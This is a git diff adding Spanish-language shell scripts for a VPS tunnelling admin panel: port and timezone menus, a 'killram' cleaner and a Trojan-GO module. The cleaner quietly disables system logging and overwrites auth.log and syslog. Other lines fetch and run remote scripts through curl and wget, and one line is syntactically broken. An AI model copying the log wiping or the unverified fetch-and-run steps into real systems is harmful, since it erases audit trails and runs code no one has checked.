\033[1;37mV2-UI/WEB: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray-linu" ]] && texto="\033[1;34m ▸ \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "x-ui" ]] && texto="\033[1;34m ▸ \033[1;37mXUI/WEB: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "openvpn" ]] && texto="\033[1;34m ◂ \033[1;37mOPENVPN-TCP: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "squid" ]] && texto="\033[1;34m ◂ \033[1;37mSQUID: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "squid3" ]] && texto="\033[1;34m ◂ \033[1;37mSQUID: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "dropbear" ]] && texto="\033[1;34m ▸ \033[1;37mDROPBEAR: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "python3" ]] && texto="\033[1;34m ▸ \033[1;37mSOCKS/PYTHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "python" ]] && texto="\033[1;34m ▸ \033[1;37mSOCKS/PYTHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "obfs-serv" ]] && texto="\033[1;34m ▸ \033[1;37mSSR (OBFS): \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "ss-server" ]] && texto="\033[1;34m ▸ \033[1;37mSSR (LIV): \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "sshd" ]] && texto="\033[1;34m ▸ \033[1;37mSSH: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "ssh" ]] && texto="\033[1;34m ▸ \033[1;37mSSH: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "systemd-r" ]] && texto="\033[1;34m ▸ \033[1;37mSystem-DNS: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "stunnel4" ]] && texto="\033[1;34m ▸ \033[1;37mSSL: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "v2ray" ]] && texto="\033[1;34m ◂ \033[1;37mV2RAY: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "badvpn-ud" ]] && texto="\033[1;34m ▸ \033[1;37mBadVPN: \033[1;31mON" +[[ ${porta[$i]} = "7200" ]] && texto="\033[1;34m ▸ \033[1;37mNetflix: \033[1;31mON" +[[ ${svcs[$i]} = "trojan" ]] && texto="\033[1;34m ◂ \033[1;37mTrojan-GO: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "sslh" ]] && texto="\033[1;34m ◂ \033[1;37mSSLH: \033[1;31m${porta[$i]}" +[[ ${porta[$i]} = "8888" ]] && texto="\033[1;34m ◂ \033[1;37mKeyGen: \033[1;31mON" + i=$(($i+1)) +[[ ! -z ${svcs[$i]} ]] && texto_="\033[1;34m ▸ \033[1;37m${svcs[$i]}: \033[1;31m${porta[$i]}" || texto_='' +[[ ${svcs[$i]} = "apache2" ]] && texto_="\033[1;34m ▸ \033[1;37mAPACHE: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "node" ]] && texto_="\033[1;34m ▸ \033[1;37mWebSocket: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "clash" ]] && texto_="\033[1;34m ▸ \033[1;37mClash: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "psiphond" ]] && texto_="\033[1;34m ▸ \033[1;37mPSIPHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray-v2-u" ]] && texto_="\033[1;34m ▸ \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "v2-ui" ]] && texto_="\033[1;34m ▸ \033[1;37mV2-UI/WEB: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray-linu" ]] && texto_="\033[1;34m ▸ \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "x-ui" ]] && texto_="\033[1;34m ▸ \033[1;37mXUI/WEB: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "openvpn" ]] && texto_="\033[1;34m ◂ \033[1;37mOPENVPN-TCP: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "squid" ]] && texto_="\033[1;34m ◂ \033[1;37mSQUID: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "squid3" ]] && texto_="\033[1;34m ◂ \033[1;37mSQUID: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "dropbear" ]] && texto_="\033[1;34m ▸ \033[1;37mDROPBEAR: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "python3" ]] && texto_="\033[1;34m ▸ \033[1;37mSOCKS/PYTHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "python" ]] && texto_="\033[1;34m ▸ \033[1;37mSOCKS/PYTHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "obfs-serv" ]] && texto_="\033[1;34m ▸ \033[1;37mSSR (OBFS): \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "ss-server" ]] && texto_="\033[1;34m ▸ \033[1;37mSSR (LIV): \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "sshd" ]] && texto_="\033[1;34m ▸ \033[1;37mSSH: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "ssh" ]] && texto_="\033[1;34m ▸ \033[1;37mSSH: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "systemd-r" ]] && texto_="\033[1;34m ▸ \033[1;37mSystem-DNS: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "stunnel4" ]] && texto_="\033[1;34m ▸ \033[1;37mSSL: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "v2ray" ]] && texto_="\033[1;34m ◂ \033[1;37mV2RAY: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray" ]] && texto_="\033[1;34m ◂ \033[1;37mXRAY: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "badvpn-ud" ]] && texto_="\033[1;34m ▸ \033[1;37mBadVPN: \033[1;31mON" +[[ ${porta[$i]} = "7200" ]] && texto_="\033[1;34m ▸ \033[1;37mNetflix: \033[1;31mON" +[[ ${svcs[$i]} = "trojan" ]] && texto_="\033[1;34m ◂ \033[1;37mTrojan-GO: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "sslh" ]] && texto_="\033[1;34m ◂ \033[1;37mSSLH: \033[1;31m${porta[$i]}" +[[ ${porta[$i]} = "8888" ]] && texto_="\033[1;34m ◂ \033[1;37mKeyGen: \033[1;31mON" + i=$(($i+1)) +[[ ! -z ${svcs[$i]} ]] && texto_3="\033[1;34m ▸ \033[1;37m${svcs[$i]}: \033[1;31m${porta[$i]}" || texto_3='' +[[ ${svcs[$i]} = "apache2" ]] && texto_3="\033[1;34m ▸ \033[1;37mAPACHE: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "node" ]] && texto_3="\033[1;34m ▸ \033[1;37mWebSocket: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "clash" ]] && texto_3="\033[1;34m ▸ \033[1;37mClash: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "psiphond" ]] && texto_3="\033[1;34m ▸ \033[1;37mPSIPHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray-v2-u" ]] && texto_3="\033[1;34m ▸ \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "v2-ui" ]] && texto_3="\033[1;34m ▸ \033[1;37mV2-UI/WEB: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray-linu" ]] && texto_3="\033[1;34m ▸ \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "x-ui" ]] && texto_3="\033[1;34m ▸ \033[1;37mXUI/WEB: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "openvpn" ]] && texto_3="\033[1;34m ◂ \033[1;37mOPENVPN-TCP: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "squid" ]] && texto_3="\033[1;34m ◂ \033[1;37mSQUID: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "squid3" ]] && texto_3="\033[1;34m ◂ \033[1;37mSQUID: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "dropbear" ]] && texto_3="\033[1;34m ▸ \033[1;37mDROPBEAR: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "python3" ]] && texto_3="\033[1;34m ▸ \033[1;37mSOCKS/PYTHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "python" ]] && texto_3="\033[1;34m ▸ \033[1;37mSOCKS/PYTHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "obfs-serv" ]] && texto_3="\033[1;34m ▸ \033[1;37mSSR (OBFS): \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "ss-server" ]] && texto_3="\033[1;34m ▸ \033[1;37mSSR (LIV): \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "sshd" ]] && texto_3="\033[1;34m ▸ \033[1;37mSSH: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "ssh" ]] && texto_3="\033[1;34m ▸ \033[1;37mSSH: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "systemd-r" ]] && texto_3="\033[1;34m ▸ \033[1;37mSystem-DNS: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "stunnel4" ]] && texto_3="\033[1;34m ▸ \033[1;37mSSL: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "v2ray" ]] && texto_3="\033[1;34m ◂ \033[1;37mV2RAY: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray" ]] && texto_3="\033[1;34m ◂ \033[1;37mXRAY: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "badvpn-ud" ]] && texto_3="\033[1;34m ▸ \033[1;37mBadVPN: \033[1;31mON" +[[ ${porta[$i]} = "7200" ]] && texto_3="\033[1;34m ▸ \033[1;37mNetflix: \033[1;31mON" +[[ ${svcs[$i]} = "trojan" ]] && texto_3="\033[1;34m ◂ \033[1;37mTrojan-GO: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "sslh" ]] && texto_3="\033[1;34m ◂ \033[1;37mSSLH: \033[1;31m${porta[$i]}" +[[ ${porta[$i]} = "8888" ]] && texto_3="\033[1;34m ◂ \033[1;37mKeyGen: \033[1;31mON" + echo -e "$texto $texto_ $texto_3" +done +PIDGEN=$(ps x | grep "teleBotGen" | grep -v grep |awk '{print $1}') +[[ ! -z $PIDGEN ]] && { +botG="\033[1;34m ▸ \033[1;37m BotGen Telegram 🤖 : \033[1;31m ⚡ ACTIVO ⚡" +msg -bar +echo -e "$botG" +} +} + +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1:$var2")" ]] || portas+="$var1:$var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +fun_ports () { +portas1=$(mportas) +for i in ${portas1}; do +b=$(echo $i | awk -F ":" '{print $2}') +echo "$b" +done +} + + + +menu () { +[[ -e /etc/bash.bashrc-bakup ]] && _autorun="\033[0;31m [\033[0;32mON\033[0;31m] " || _autorun="\033[0;31m [OFF]" +_ports +msg -bar2 +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ➮${cor[3]} ADMINISTRAR USUARIOS " +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ➮${cor[3]} HERRAMIENTAS (\033[0;34mBad/VPN$_badvpn${cor[3]}) (\033[0;34mTCP-SPEED$_tcpspeed${cor[3]}) " +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ➮\033[0;33m [!]${cor[3]} OPTIMIZAR VPS " +echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m ➮\033[0;33m [!]\033[0;31m DESINSTALAR SCRIPT " +echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;31m ➮${cor[3]} Cont/Limit DE USUARIOS $VERIFICAR_PID \033[1;31m ║" +echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;31m ➮ \e[3;32mHERRAMIENTAS BETA\e[0m \033[0;33m (#EXPERIMENTAL) " +echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;31m ➮${cor[3]} AUTOINICIAR SCRIPT $_autorun " +echo -e "\033[0;35m [\033[0;36m9\033[0;35m]\033[0;31m ➮${cor[3]} INSTALADOR DE PROTOCOLOS " +msg -bar2 +echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;31m ➮\033[0;33m [!] \033[1;32mACTUALIZAR${cor[3]} |\033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ➮ $(msg -bra "\033[1;41m[ Salir ]\e[0m")" +echo -ne "\033[1;31m ╰══════╣ OPCION :" && read -p "" opt + +} + + + + + +msg -bar +_ports +msg -bar +fun_ports +read -p "D" + #echo "MPORTAS1 ORIGINAL" + #mportas1 diff --git a/Recursos/menu/hora.sh b/Recursos/menu/hora.sh new file mode 100644 index 0000000..3f894c4 --- /dev/null +++ b/Recursos/menu/hora.sh @@ -0,0 +1,232 @@ +#!/bin/bash + +act_hora () { +echo "America/Chihuahua" +echo "America/Chihuahua" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Chihuahua /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +return 0 +} +act_hora1 () { +echo "America/Mexico_City" +echo "America/Mexico_City" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Mexico_City /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +return 0 +} +act_hora2 () { +echo "Argentina" +ln -sf /usr/share/zoneinfo/America/Argentina/Buenos_Aires /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +return 0 +} +act_hora3 () { +echo "CHILE" +timedatectl > /dev/null 2>&1 +timedatectl list-timezones | grep Chile/Continental > /dev/null 2>&1 +timedatectl set-timezone Chile/Continental > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +return 0 +} +act_hora4 () { +echo "America/Los_Angeles" +timedatectl > /dev/null 2>&1 +timedatectl list-timezones | grep Los_Angeles > /dev/null 2>&1 +timedatectl set-timezone America/Los_Angeles > /dev/null 2>&1 +msg -bar +return 0 +} +act_hora5 () { +echo "America/La_Paz" +echo "America/La_Paz" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/La_Paz /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +return 0 +} +act_hora6 () { +echo "America/Guatemala" +echo "America/Guatemala" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Guatemala /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +return 0 +} +act_hora7 () { +echo "America/Bogota" +echo "America/Bogota" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Bogota /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +return 0 +} +act_hora8 () { +echo "America/Guayaquil" +echo "America/Guayaquil" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Guayaquil /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +return 0 +} +verzm () { +timedatectl +echo -e "\033[1;31m PRESIONE ENTER PARA CONTINUAR \033[0m" +read -p " " +return 0 +} +shadowe_fun () { +#source /etc/adm-lite/cabelcaho +while true; do +clear&&clear +_tm=$(timedatectl | grep "Time zone") +unset selection +echo -e " \033[1;36m ZONA HORARIA" +msg -bar +echo -e "${_tm}" +msg -bar +echo -e "${cor[4]} [1] > ${cor[2]}VER ZONA HORARIA ACTUAL ${cor[4]} [12] > ${cor[2]} HORARIO PERÚ" +echo -e "${cor[4]} [2] > ${cor[5]}HORARIO MEXICO ${cor[4]} [13] > ${cor[2]} HORARIO BRAZIL" +echo -e "${cor[4]} [3] > ${cor[5]}HORARIO Argentina" +echo -e "${cor[4]} [4] > ${cor[5]}HORARIO CHILE" +echo -e "${cor[4]} [5] > ${cor[5]}HORARIO MEXICO" +echo -e "${cor[4]} [6] > ${cor[5]}HORARIO Bolivia " +echo -e "${cor[4]} [7] > ${cor[5]}HORARIO Guatemala" +echo -e "${cor[4]} [8] > ${cor[5]}HORARIO COLOMBIA" +echo -e "${cor[4]} [9] > ${cor[5]}HORARIO ECUADOR " +echo -e "${cor[4]} [10] > ${cor[5]}HORARIO Los Angeles (USA)" +echo -e "${cor[4]} [11] > ${cor[5]}RESTAURAR ZONA ORIGINAL" +msg -bar +selection=$(selection_fun 13) +case ${selection} in + 0) + break;; + 1) + fun_bar + verzm + unset selection + sleep 2s + ;; + 2) + fun_bar + act_hora1 + unset selection + sleep 2s + ;; + 3) + fun_bar + act_hora2 + unset selection + sleep 2s + ;; + 4) + fun_bar + act_hora3 + unset selection + sleep 2s + ;; + 5) + act_hora + unset selection + sleep 2s + ;; + 6) + fun_bar + act_hora5 + unset selection + sleep 2s + ;; + 7) + fun_bar + act_hora6 + unset selection + sleep 2s + ;; + 8) + fun_bar + act_hora7 + unset selection + sleep 2s + ;; + 9) + fun_bar + act_hora8 + unset selection + sleep 2s + ;; + 10) + fun_bar + act_hora4 + unset selection + sleep 2s + ;; + 11) + fun_bar + echo "Etc/UTC" > /etc/timezone + ln -fs /usr/share/zoneinfo/Etc/UTC /etc/localtime + dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" + sleep 2s + ;; + 12) + fun_bar + echo "America/Lima" > /etc/timezone + ln -fs /usr/share/zoneinfo/America/Lima /etc/localtime + dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" + sleep 2s + ;; + 13) + fun_bar + echo "America/Sao_Paulo" > /etc/timezone + ln -fs /usr/share/zoneinfo/America/Sao_Paulo /etc/localtime + dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" + sleep 2s + ;; + 14) + fun_bar + echo "America/Lima" > /etc/timezone + ln -fs /usr/share/zoneinfo/America/Lima /etc/localtime + dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" + sleep 2s + ;; + 15) + fun_bar + echo "America/Lima" > /etc/timezone + ln -fs /usr/share/zoneinfo/America/Lima /etc/localtime + dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" + sleep 2s + ;; + 16) + fun_bar + echo "America/Lima" > /etc/timezone + ln -fs /usr/share/zoneinfo/America/Lima /etc/localtime + dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" + sleep 2s + ;; + 17) + fun_bar + echo "America/Lima" > /etc/timezone + ln -fs /usr/share/zoneinfo/America/Lima /etc/localtime + sleep 2s + ;; + 18) + fun_bar + echo "America/Lima" > /etc/timezone + ln -fs /usr/share/zoneinfo/America/Lima /etc/localtime + ;; + 19) + fun_bar + echo "America/Lima" > /etc/timezone + ln -fs /usr/share/zoneinfo/America/Lima /etc/localtime + ;; + 20) + fun_bar + echo "America/Lima" > /etc/timezone + ln -fs /usr/share/zoneinfo/America/Lima /etc/localtime + ;; +esac +done +} +shadowe_fun diff --git a/Recursos/menu/killram.sh b/Recursos/menu/killram.sh new file mode 100644 index 0000000..e69a8ce --- /dev/null +++ b/Recursos/menu/killram.sh @@ -0,0 +1,61 @@ +#!/bin/sh +#Autor: Henry Chumo +#Alias : ChumoGH +export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games/ +kill $(ps -A -ostat,ppid | awk '/[zZ]/{print $2}') +tiempo=$(printf '%(%D-%H:%M:%S)T') +unLimit=$(free --mega | awk 'NR==2{printf $7}') +#[[ $(dpkg --get-selections|grep -w "snapd"|head -1) ]] && apt purge snapd -y &>/dev/null +killall multipathd +killall systemd-journald +killall udisksd +sudo systemctl disable systemd-journald +sudo systemctl stop systemd-journald +if [ ${unLimit} -le 200 ]; then +echo $(free --mega -h | awk 'NR==2{printf $4}') " EN " $tiempo >> /root/lm.log +sudo sync +sudo sysctl -w vm.drop_caches=3 +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +echo "@drowkid01" > /var/log/syslog +echo "@drowkid01" > /var/log/auth.log && rm -f /var/log/*.log.* +killall kswapd0 +killall ksoftirqd +killall tcpdump +killall multipathd +killall snapd +killall droplet-agent +[[ -e /etc/v2ray/config.json ]] && v2ray clean +[[ -e /etc/xray/config.json ]] && xray clean +swapoff -a && swapon -a +rm -rf /tmp/* +echo $(free --kilo -h | awk 'NR==2{printf $4}') " LUEGO " $tiempo >> /root/lm.log +else +echo "@drowkid01" > /var/log/syslog +echo "@drowkid01" > /var/log/auth.log && rm -f /var/log/*.log.* +sync +echo 3 >/proc/sys/vm/drop_caches +sync && sysctl -w vm.drop_caches=3 +sysctl -w vm.drop_caches=0 +swapoff -a +swapon -a +rm -rf /tmp/* +killall kswapd0 +killall tcpdump +killall ksoftirqd +killall multipathd +[[ -e /etc/v2ray/config.json ]] && v2ray clean && v2ray restart +[[ -e /etc/xray/config.json ]] && xray clean && xray clean +tiempo=$(printf '%(%D-%H:%M:%S)T') +echo -e >> $HOME/lm.log +echo "Limpio >" $tiempo >> /root/lm.log +echo ${unLimit} "MB - Esta bajo el limite 100MB en " $tiempo >> /root/lm.log +fi +wget -q -O /bin/ejecutar/msg https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg +[[ -e /bin/ejecutar/autt ]] && { +name=$(cat < /bin/ejecutar/autt) +echo "Haciendo COPIA DE USUARIOS EN $name " $tiempo >> /root/lm.log +source <(curl -sL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/autobackup.sh) +} || { +[[ -e /var/www/html/backup ]] && rm /var/www/html/backup +echo "NO FileSystem " $tiempo >> /root/lm.log +} \ No newline at end of file diff --git a/Recursos/menu/mod-v2ray.sh b/Recursos/menu/mod-v2ray.sh new file mode 100644 index 0000000..e4a217e --- /dev/null +++ b/Recursos/menu/mod-v2ray.sh @@ -0,0 +1,733 @@ +#!/bin/sh +#Autor: Henry Chumo +#Alias : ChumoGH +clear +config="/usr/local/etc/trojan/config.json" +temp="/etc/trojan/temp.json" +trojdir="/etc/trojan" && [[ ! -d $trojdir ]] && mkdir $trojdir +user_conf="/etc/trojan/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/trojan/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" +[[ ! -e $trojdir/conf ]] && echo "autBackup 0" > $trojdir/conf +if [[ $(cat $trojdir/conf | grep "autBackup") = "" ]]; then + echo "autBackup 0" >> $trojdir/conf +fi +unset barra +barra="\033[0;34m•••••••••••••••••••••••••••••••••••••••••••••••••\033[0m" +[[ -e /bin/ejecutar/msg source msg +numero='^[0-9]+$' +hora=$(printf '%(%H:%M:%S)T') +fecha=$(printf '%(%D)T') + + +trojan() +{ +wget -q https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/trojango.sh; chmod +x trojango.sh; ./trojango.sh +rm -f trojango.sh +} + + +install_ini () { +add-apt-repository universe +apt update -y; apt upgrade -y +clear +echo -e "$BARRA" +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +echo -e "$BARRA" +#bc +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install bc................... $ESTATUS " +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +#curl +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install curl................. $ESTATUS " +#npm +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm.................. $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs............... $ESTATUS " +#socat +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || apt-get install socat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install socat................ $ESTATUS " +#netcat +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || apt-get install netcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat............... $ESTATUS " +#netcat-traditional +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || apt-get install netcat-traditional -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat-traditional... $ESTATUS " +#net-tools +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install net-tools............ $ESTATUS " +#cowsay +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install cowsay............... $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && 